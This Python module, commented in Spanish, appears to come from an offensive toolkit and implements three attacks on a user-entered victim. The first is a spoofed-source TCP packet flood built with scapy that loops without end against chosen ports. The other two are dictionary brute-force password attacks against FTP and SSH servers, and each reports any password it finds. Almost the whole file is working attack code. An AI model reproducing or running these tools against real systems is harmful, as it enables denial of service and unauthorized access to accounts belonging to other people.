#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Importamos los modulos/librerias necesarias
from ftplib import FTP, error_perm
from scapy.all import *
from core.funciones_core import *
from termcolor import colored
import paramiko
import socket

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

                        ATAQUE DOS MULTIPLES PUERTOS

"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""

logging.getLogger("scapy.runtime").setLevel(logging.ERROR)  # Que no muestre warning


def local_attack():
    # Hacemos bucle para preguntar si repetimos la consulta
    while True:
        print(colored("\n###############################################################################", 'green', attrs=['bold', 'blink']))
        print(colored("\n         Ataque DOS a multiples puertos\n", 'green', attrs=['bold', 'blink']))
        print(colored("###############################################################################\n", 'green', attrs=['bold', 'blink']))

        # Capturamos la direccion de origen, de la victima y los puertos a los que dirigir el ataque
        src = input("Introduzca la direccion IP de origen :")
        victima = input("Introduzca la direccion IP de la Victima :")
        puertos_ataque = input("Introduzca los puertos a los que dirigir el ataque, separados por comas: ")
        # Quitamos espacios y almacenamos en lista
        puertos_ataque.replace(" ", "")
        puertos_ataque = puertos_ataque.strip().split(',')

        try:
            # Capturamos si se produce excepcion al pasarle a la funcion los datos necesarios
            ataque_mpuertos(src, victima, puertos_ataque)

        # Capturamos si hay interrupcion solicitada por teclado
        except KeyboardInterrupt:
            print("[*] Peticion del usuario para cerrar...")
            print("[*] Saliendo...")

        except:
            print(colored("Error en los datos introducidos.", 'red'))

        repite_consulta = input(colored("\nDesea repetir la consulta? (s/n): ", 'magenta', attrs=['bold']))
        if repite_consulta == 'n':
            break


def main_ataque_fuerza_bruta_ftp():
    print(colored("\n#######################################################################", 'green', attrs=['bold']))
    print(colored("\n         Ataque por fuerza bruta a Servidor FTP\n", 'blue', attrs=['bold']))
    print(colored("#######################################################################\n", 'green', attrs=['bold']))

    # Bucle hasta que se introduzca una direccion
    while True:  # Hacemo un bucle hasta que se introduza la direccion del Host
        victima = input(colored("\nIntroduzca la direccion de la victima: ", 'cyan'))
        # Solo validamos que se introduzca un dato, se podria comprobar si es una ip valida (futura mejora)
        if victima != "":  # Si se introduce un dato paramos el bucle
            break  # Paramos el bucle

    usuario = input(colored("Introduzca el nombre de usuario: ", 'cyan'))
    puerto = input(colored("Introduzca el numero del puerto, pulsa INTRO para usar default (21): ", 'cyan'))

    # Si no se introduce datos, asumimos por defecto el puerto 21
    if puerto == "":
        puerto = '21'

    # Solicitamos un nombre del diccionario, si no pasamos el que tenemos por defecto
    diccionario = input(colored("Introduzca el numero del puerto, pulsa INTRO para usar default (diccionario_ftp) : ", 'cyan'))
    if diccionario == "":
        diccionario = 'ataques/mod_ataques/diccionario_ftp'

    # Llamamos a la funcion pasando los datos necesarios
    ataque_bruteforce_ftp(victima, usuario, puerto, diccionario)

    # Cambiamos la forma de preguntar si se desea repetir la consulta, llamando a funcionar en lugar de bucle
    repite_consulta = input(colored("\nDesea repetir la consulta? (s/n): ", 'magenta', attrs=['bold']))
    if repite_consulta == 'n':
        sys.exit(1)
    else:
        main_ataque_fuerza_bruta_ftp()


def ataque_mpuertos(src, victima, puertos_ataque):
    # Indicamos el numero de paquetes a enviar
    numero_paquete = 1
    while True:
        for puerto in puertos_ataque:
            IP_ataque = IP(src=src, dst=victima)
            TCP_ataque = TCP(sport=int(puerto), dport=int(puerto))
            pkt = IP_ataque / TCP_ataque
            send(pkt, inter=.001)
            print(colored("Paquete enviado numero: ", 'cyan'), numero_paquete, colored(" enviado al puerto: ", 'cyan'), puerto)
            numero_paquete = numero_paquete + 1


"""

Definimos la funcion para el ataque por fuerza bruta

"""


def ataque_bruteforce_ftp(victima,usuario,puerto,diccionario):
    # Leemos el diccionario con las contraseñas que iremos probando
    try:
        dic = open(diccionario, "r")
        for contrasenia in dic:
            contrasenia = contrasenia[:-1]
            # Establecemos la conexion con FTP
            try:
                conexion_ftp = FTP(victima)  # connect to host, default port
                conexion_ftp.login(usuario, contrasenia)  # user anonymous, passwd anonymous@
                conexion_ftp.retrlines('LIST')
                print(colored('Ftp server connected using the provided username "', 'yellow') + usuario +
                      colored('" and  password "', 'yellow') + contrasenia + '"')
                print(colored("[+] Contraseña encontrada: %s", 'green', attrs=['blink']) %contrasenia)
                conexion_ftp.quit()
                break

            # No funciona la contraseña que hemos probado
            except error_perm:
                print(colored("[-] Contraeña o usuario erroneos: %s", 'red') %contrasenia)

            # Excepcion en caso de que no haya conexion
            except socket.error:
                print(colored("[-] Fallo al establecer la conexión", 'magenta'))
                break

    except IOError:
        print("[-] %s diccionario no encontrado " %diccionario)


"""

Definimos la funcion para el ataque por fuerza bruta

"""


def ataque_bruteforce_ssh(victima, usuario, puerto, diccionario):
    # Leemos el diccionario con las contraseñas que iremos probando
    try:
        # Abrimos diccionario recibido en modo lectura
        dic = open(diccionario, "r")
        # Recorremos el diccionario para leer las palabras a utilizar
        for contrasenia in dic:
            contrasenia = contrasenia[:-1]
            try:
                # Creamos objeto SSHClient para su uso
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(victima, port=int(puerto), username=str(usuario), password=str(contrasenia))
                print(colored("[+] Contraseña encontrada: %s", 'green', attrs=['blink']) %contrasenia)
                # Si hemos encontrado la contraseña cerramos la conexion.
                break

            except paramiko.AuthenticationException:
                print(colored("[-] Contraeña o usuario erroneos: %s", 'red') %contrasenia)

            # Excepcion en caso de que no haya conexion
            except socket.error:
                print("[-] Fallo al establecer la conexión")
                break
            ssh.close()

    # Si no existe el fichero del diccionario lo indicamos
    except IOError:
        print("[-] %s diccionario no encontrado " %diccionario)


def main_ataque_fuerza_bruta_ssh():
    print(colored("\n#######################################################################", 'green', attrs=['bold']))
    print(colored("\n    Ataque por fuerza bruta a Servidor SSH\n", 'blue', attrs=['bold']))
    print(colored("#######################################################################\n", 'green', attrs=['bold']))

    while True:  # Hacemo un bucle hasta que se introduza la direccion del Host
        victima = input(colored("Introduzca la direccion de la victima: ", 'cyan'))
        if victima != "":  # Si se introduce un dato paramos el bucle
            break  # Paramos el bucle

    usuario = input(colored("Introduzca el nombre de usuario: ", 'cyan'))
    puerto = input(colored("Introduzca el numero del puerto, pulsa INTRO para usar default (22): ", 'cyan'))

    # Si no indicamos un puerto utilizamos por defecto el puerto 22
    if puerto == "":
        puerto = '22'

    # Solictamos un fichero diccionario, o utilizamos el de por defecto
    diccionario = input(
        colored("Introduzca el nombre del diccionario, pulsa INTRO para usar default (diccionario_SSH) : ", 'cyan'))
    if diccionario == "":
        diccionario = 'ataques/mod_ataques/diccionario_ssh'

        # Llamos a funcion indicamos los datos necesarios
        ataque_bruteforce_ssh(victima, usuario, puerto, diccionario)

    # Cambiamos la forma de preguntar si se desea repetir la consulta, llamando a funcionar en lugar de bucle
    repite_consulta = input(colored("\nDesea repetir la consulta? (s/n): ", 'magenta', attrs=['bold']))
    if repite_consulta == 'n':
        sys.exit(1)
    else:
        main_ataque_fuerza_bruta_ssh()
